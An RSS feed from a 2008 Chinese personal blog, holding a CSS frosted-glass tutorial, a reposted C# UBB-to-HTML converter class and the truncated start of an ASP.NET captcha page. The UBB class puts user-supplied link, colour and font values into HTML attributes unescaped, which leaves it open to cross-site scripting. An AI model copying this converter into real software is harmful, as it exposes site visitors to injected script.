<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[思念天灵]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[人攀明月不可得，月行却与人相随。]]></description>
<link>http://hi.baidu.com/lustarking</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[欢迎大家到我小站做客]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/b6c543ece7eda7d72f2e21b8.html]]></link>
        <description><![CDATA[
		
		<p><a target="_blank" href="http://www.dreamlandcn.com">欢迎大家到我小站做客</a></p>
<p><a target="_blank" href="http://www.dreamlandcn.com">蓝色湖畔，随时恭候大家的到来。</a></p>
<p><a target="_blank" href="http://www.dreamlandcn.com">网址： www.dreamlandcn.com</a></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/%B8%F6%C8%CB%C8%D5%D6%BE">个人日志</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/b6c543ece7eda7d72f2e21b8.html#comment">查看评论</a>]]></description>
        <pubDate>2008-09-08  13:06</pubDate>
        <category><![CDATA[个人日志]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/b6c543ece7eda7d72f2e21b8.html</guid>
</item>

<item>
        <title><![CDATA[HTML+CSS中模拟Vista磨砂玻璃半透明效果。]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/135e327bbd445cf10bd18779.html]]></link>
        <description><![CDATA[
		
		<p>使用css模拟vista毛玻璃效果<br>
近来Windows Vista的毛玻璃效果一直受到界内同行的争相模仿。小弟不才，也来发表下自己的拙见。</p>
<p>首先准备两张背景图片，一张为正常图片，另外一张表现为正常图片的模糊效果。</p>
<p>利用css里面对背景的定义，将正常图片设置成为body节点的背景（注意body的margin必须设置为0，不然模糊的图片和正常的图片会有位置偏移），并且设置background-attachment的属性为fixed。 <br>
接下来在需要应用毛玻璃效果的图片上设置样式，将模糊图片设置为需求节点的背景，同样设置background-attachment的属性为fixed（需求节点的位置最好为绝对定位）。 <br>
这样模仿Windows Vista的毛玻璃效果就基本完成。 <br>
------------------------------------- <br>
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd</a>&quot;&gt; <br>
&lt;html xmlns=&quot;<br>
<a href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>&quot;&gt; <br>
&lt;head&gt; <br>
&lt;style type=&quot;text/css&quot;&gt; <br>
*{ <br>
margin:0px; <br>
padding:0px; <br>
} <br>
body{ <br>
background-image:url(./back.jpg); <br>
background-attachment:fixed; <br>
} <br>
div.glass{ <br>
background-image:url(./glass.jpg); <br>
background-attachment:fixed;</p>
<p>position:absolute; <br>
top:100px; <br>
left:200px; <br>
width:300px; <br>
height:200px; <br>
overflow:hidden; <br>
} <br>
&lt;/style&gt; <br>
&lt;/head&gt; <br>
&lt;body&gt; <br>
&lt;div class=&quot;glass&quot;&gt;&lt;/div&gt; <br>
&lt;div style=&quot;width:3000px;height:3000px;&quot;&gt;&lt;/div&gt; <br>
&lt;/body&gt; <br>
&lt;/html&gt;</p>
<p>-------------------------------------<br>
PS：暂时不支持IE6以下版本，如果各位要使用，back.jpg为原背景，glass.jpg自己把原背景PS下成磨砂玻璃的效果图，大小跟原图一样吧。演示地址：<a href="http://www.dreamlandcn.com/test/glass.htm">http://www.dreamlandcn.com/test/glass.htm</a></p> <a href="http://hi.baidu.com/lustarking/blog/item/135e327bbd445cf10bd18779.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/%BC%BC%CA%F5%CE%C4%D5%C2">技术文章</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/135e327bbd445cf10bd18779.html#comment">查看评论</a>]]></description>
        <pubDate>2008-04-24  01:12</pubDate>
        <category><![CDATA[技术文章]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/135e327bbd445cf10bd18779.html</guid>
</item>

<item>
        <title><![CDATA[ASP.net UBB标签类(C#)[转]]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/a727b2138b5365d5f6039e21.html]]></link>
        <description><![CDATA[
		
		参考了一些文章，整理了一下，大家可以直接拿去用吧，其实自从有了FreeTextBox这样的东东出现，ＵＢＢ已经渐渐淡出江湖了。
<div>using System;<br>
using System.Text;<br>
using System.Text.RegularExpressions;</div>
<div>namespace Test.Com<br>
{<br>
/// &lt;summary&gt;<br>
 /// 功能：UBB代码<br>
<strong> /// 作者：Rexsp</strong><br>
 /// 日期：2004-4-6<br>
 /// &lt;/summary&gt;<br>
 public class UBB<br>
 {<br>
&nbsp;&nbsp; #region 构造函数<br>
&nbsp;&nbsp; public UBB()<br>
&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp; //<br>
&nbsp;&nbsp;&nbsp; // TODO: 在此处添加构造函数逻辑<br>
&nbsp;&nbsp;&nbsp; //<br>
&nbsp;&nbsp; }<br>
&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp; #region 公共静态方法<br>
&nbsp;&nbsp; /// &lt;summary&gt;<br>
&nbsp;&nbsp; /// UBB代码处理函数<br>
&nbsp;&nbsp; /// &lt;/summary&gt;<br>
&nbsp;&nbsp; /// &lt;param name=&quot;sDetail&quot;&gt;输入字符串&lt;/param&gt;<br>
&nbsp;&nbsp; /// &lt;returns&gt;输出字符串&lt;/returns&gt;<br>
&nbsp;&nbsp; public static string UBBToHTML(string sDetail)<br>
&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp; Regex r;<br>
&nbsp;&nbsp;&nbsp; Match m;</div>
<div>&nbsp;&nbsp;&nbsp; #region 处理空格<br>
&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(&quot; &quot;,&quot;&amp;nbsp;&quot;);<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region html标记符<br>
&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(&quot;&lt;&quot;,&quot;&amp;lt;&quot;);<br>
&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(&quot;&gt;&quot;,&quot;&amp;gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[b][/b]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[b\])([ \S\t]*?)(\[\/b\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;B&gt;&quot; + m.Groups[2].ToString() + &quot;&lt;/B&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[i][/i]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[i\])([ \S\t]*?)(\[\/i\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;I&gt;&quot; + m.Groups[2].ToString() + &quot;&lt;/I&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[u][/u]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[U\])([ \S\t]*?)(\[\/U\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;U&gt;&quot; + m.Groups[2].ToString() + &quot;&lt;/U&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[p][/p]标记<br>
&nbsp;&nbsp;&nbsp; //处[p][/p]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;((\r\n)*\[p\])(.*?)((\r\n)*\[\/p\])&quot;,RegexOptions.IgnoreCase|RegexOptions.Singleline);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;P class=\&quot;pstyle\&quot;&gt;&quot; + m.Groups[3].ToString() + &quot;&lt;/P&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[sup][/sup]标记<br>
&nbsp;&nbsp;&nbsp; //处[sup][/sup]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[sup\])([ \S\t]*?)(\[\/sup\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;SUP&gt;&quot; + m.Groups[2].ToString() + &quot;&lt;/SUP&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[sub][/sub]标记<br>
&nbsp;&nbsp;&nbsp; //处[sub][/sub]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[sub\])([ \S\t]*?)(\[\/sub\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;SUB&gt;&quot; + m.Groups[2].ToString() + &quot;&lt;/SUB&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[url][/url]标记<br>
&nbsp;&nbsp;&nbsp; //处[url][/url]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[url\])([ \S\t]*?)(\[\/url\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;A href=\&quot;&quot; + m.Groups[2].ToString() + &quot;\&quot; target=\&quot;_blank\&quot;&gt;&lt;IMG border=0 src=\&quot;images/url.gif\&quot;&gt;&quot; +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[2].ToString() + &quot;&lt;/A&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[url=xxx][/url]标记<br>
&nbsp;&nbsp;&nbsp; //处[url=xxx][/url]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[url=([ \S\t]+)\])([ \S\t]*?)(\[\/url\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;A href=\&quot;&quot; + m.Groups[2].ToString() + &quot;\&quot; target=\&quot;_blank\&quot;&gt;&lt;IMG border=0 src=\&quot;images/url.gif\&quot;&gt;&quot; +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/A&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[email][/email]标记<br>
&nbsp;&nbsp;&nbsp; //处[email][/email]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[email\])([ \S\t]*?)(\[\/email\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;A href=\&quot;mailto:&quot; + m.Groups[2].ToString() + &quot;\&quot; target=\&quot;_blank\&quot;&gt;&lt;IMG border=0 src=\&quot;images/email.gif\&quot;&gt;&quot; +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[2].ToString() + &quot;&lt;/A&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[email=xxx][/email]标记<br>
&nbsp;&nbsp;&nbsp; //处[email=xxx][/email]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[email=([ \S\t]+)\])([ \S\t]*?)(\[\/email\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;A href=\&quot;mailto:&quot; + m.Groups[2].ToString() + &quot;\&quot; target=\&quot;_blank\&quot;&gt;&lt;IMG border=0 src=\&quot;images/email.gif\&quot;&gt;&quot; +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/A&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[size=x][/size]标记<br>
&nbsp;&nbsp;&nbsp; //处[size=x][/size]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[size=([1-7])\])([ \S\t]*?)(\[\/size\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;FONT SIZE=&quot; + m.Groups[2].ToString() + &quot;&gt;&quot; + <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/FONT&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[color=x][/color]标记<br>
&nbsp;&nbsp;&nbsp; //处[color=x][/color]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[color=([\S]+)\])([ \S\t]*?)(\[\/color\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;FONT COLOR=&quot; + m.Groups[2].ToString() + &quot;&gt;&quot; + <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/FONT&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[font=x][/font]标记<br>
&nbsp;&nbsp;&nbsp; //处[font=x][/font]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[font=([\S]+)\])([ \S\t]*?)(\[\/font\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;FONT FACE=&quot; + m.Groups[2].ToString() + &quot;&gt;&quot; + <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/FONT&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处理图片链接<br>
&nbsp;&nbsp;&nbsp; //处理图片链接<br>
&nbsp;&nbsp;&nbsp; r = new Regex(&quot;<a href="file://[picture//](//d+?)//%5B///picture//%5D%22,RegexOptions.IgnoreCase"><font color="#002c99">\\[picture\\](\\d+?)\\[\\/picture\\]&quot;,RegexOptions.IgnoreCase</font></a>);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;A href=\&quot;ShowImage.aspx?Type=ALL&amp;Action=forumImage&amp;ImageID=&quot; + m.Groups[1].ToString() +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\&quot; target=\&quot;_blank\&quot;&gt;&lt;IMG border=0 Title=\&quot;点击打开新窗口查看\&quot; src=\&quot;ShowImage.aspx?Action=forumImage&amp;ImageID=&quot; + m.Groups[1].ToString() +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\&quot;&gt;&lt;/A&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处理[align=x][/align]<br>
&nbsp;&nbsp;&nbsp; //处理[align=x][/align]<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[align=([\S]+)\])([ \S\t]*?)(\[\/align\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;P align=&quot; + m.Groups[2].ToString() + &quot;&gt;&quot; + <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/P&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处[H=x][/H]标记<br>
&nbsp;&nbsp;&nbsp; //处[H=x][/H]标记<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[H=([1-6])\])([ \S\t]*?)(\[\/H\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;H&quot; + m.Groups[2].ToString() + &quot;&gt;&quot; + <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m.Groups[3].ToString() + &quot;&lt;/H&quot; + m.Groups[2].ToString() + &quot;&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处理[list=x][*][/list]<br>
&nbsp;&nbsp;&nbsp; //处理[list=x][*][/list]<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\[list(=(A|a|I|i| ))?\]([ \S\t]*)\r\n)((\[\*\]([ \S\t]*\r\n))*?)(\[\/list\])&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; string strLI = m.Groups[5].ToString();<br>
&nbsp;&nbsp;&nbsp;&nbsp; Regex rLI = new Regex(@&quot;\[\*\]([ \S\t]*\r\n?)&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp;&nbsp; Match mLI;<br>
&nbsp;&nbsp;&nbsp;&nbsp; for (mLI = rLI.Match(strLI); mLI.Success; mLI = mLI.NextMatch()) <br>
&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strLI = strLI.Replace(mLI.Groups[0].ToString(),&quot;&lt;LI&gt;&quot; + mLI.Groups[1]);<br>
&nbsp;&nbsp;&nbsp;&nbsp; }</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&lt;UL TYPE=\&quot;&quot; + m.Groups[3].ToString() + &quot;\&quot;&gt;&lt;B&gt;&quot; + m.Groups[4].ToString() + &quot;&lt;/B&gt;&quot; + <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strLI + &quot;&lt;/UL&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; #region 处理换行<br>
&nbsp;&nbsp;&nbsp; //处理换行，在每个新行的前面添加两个全角空格<br>
&nbsp;&nbsp;&nbsp; r = new Regex(@&quot;(\r\n((&amp;nbsp;)|　)+)(?&lt;正文&gt;\S+)&quot;,RegexOptions.IgnoreCase);<br>
&nbsp;&nbsp;&nbsp; for (m = r.Match(sDetail); m.Success; m = m.NextMatch()) <br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(m.Groups[0].ToString(),&quot;&lt;BR&gt;　　&quot; + m.Groups[&quot;正文&quot;].ToString());<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; //处理换行，在每个新行的前面添加两个全角空格<br>
&nbsp;&nbsp;&nbsp; sDetail = sDetail.Replace(&quot;\r\n&quot;,&quot;&lt;BR&gt;&quot;);<br>
&nbsp;&nbsp;&nbsp; #endregion</div>
<div>&nbsp;&nbsp;&nbsp; return sDetail;<br>
&nbsp;&nbsp; }<br>
&nbsp;&nbsp; #endregion</div>
<div> }<br>
}</div>
<br> <a href="http://hi.baidu.com/lustarking/blog/item/a727b2138b5365d5f6039e21.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/asp%2Enet">asp.net</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/a727b2138b5365d5f6039e21.html#comment">查看评论</a>]]></description>
        <pubDate>2008-04-11  01:18</pubDate>
        <category><![CDATA[asp.net]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/a727b2138b5365d5f6039e21.html</guid>
</item>

<item>
        <title><![CDATA[ASP.net验证码(C#语言)，含多种模式（文字，数字，字母等）精品]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/a94df117064a600cc83d6d20.html]]></link>
        <description><![CDATA[
		
		<p>网上有很多关于验证码做法的资料,但是真正做得完整的却非常少,所以昨天晚上参考了作者：CSDN 上kwklover 的在ASP.Net下实现数字和字符相混合的验证码 (混合,完整,遗憾的是VB.Net,说到这里我想我得感谢stone(QQ9337874),因为我在把VB译成C#的过程中几番出错,最终这段翻译由他完成)!!<br>
随机汉字参考了http://navicy.cnblogs.com/archive/2005/05/08/150756.html这篇文章的,<br>
而最终的纯数字以及GDI+绘图则是从□☆近三十☆(QQ19302038)传给我的一个OA案例里面分离出来的!<br>
所以完整的说,这里面几乎都是别人做好了的,我只是整理出来了!<br>
完整的下载地址是　http://www.cnblogs.com/Files/thcjp/gdi.rar　<br>
下面把代码的重点部分贴出来，如果看源文件有什么不明白可以问偶　ＱＱ１１０５３５８０８<br>
效果如图(我确实懒了点,按纽的名字都没有改,哈哈)<br>
需要说明的是,因为提交对比后,页面是重新刷新了,所以文本框里面看见的和后面图片显示不一样,这个不需要太多说明吧!!<br>
 混合模式刷新出现约界错误 已经被 stone(QQ9337874) 修正!!<br>
 <br>
 <br>
<br>
下面是ＧＤＩ＋绘图的代码段，以及显示的调用等</p>
<p>保存为文件：png.aspx</p>
<p><br>
using System;<br>
using System.Data;<br>
using System.Configuration;<br>
using System.Collections;<br>
using System.Web;<br>
using System.Web.Security;<br>
using System.Web.UI;<br>
using System.Web.UI.WebControls;<br>
using System.Web.UI.WebControls.WebParts;<br>
using System.Web.UI.HtmlControls;<br>
using System.Drawing.Drawing2D;<br>
using System.Drawing.Imaging;<br>
using System.Drawing.Text;<br>
using System.Drawing;<br>
using System.Text; <br>
public partial class png : System.Web.UI.Page<br>
{<br>
&nbsp;&nbsp;&nbsp;  private readonly string ImagePath = &quot;Validator.jpg&quot;;<br>
&nbsp;&nbsp;&nbsp;  private static string gif = &quot;&quot;;<br>
&nbsp;&nbsp;&nbsp;  protected void Page_Load(object sender, EventArgs e)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  switch (Request.QueryString[&quot;aa&quot;])<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  case &quot;1&quot;:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  gif = stxt();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session[&quot;gif&quot;]= stxt();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  case &quot;2&quot;:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  gif = GetRandomint();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session[&quot;gif&quot;]= GetRandomint();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  case &quot;3&quot;:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  gif = RndNum(3);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session[&quot;gif&quot;]= RndNum(3);<br>
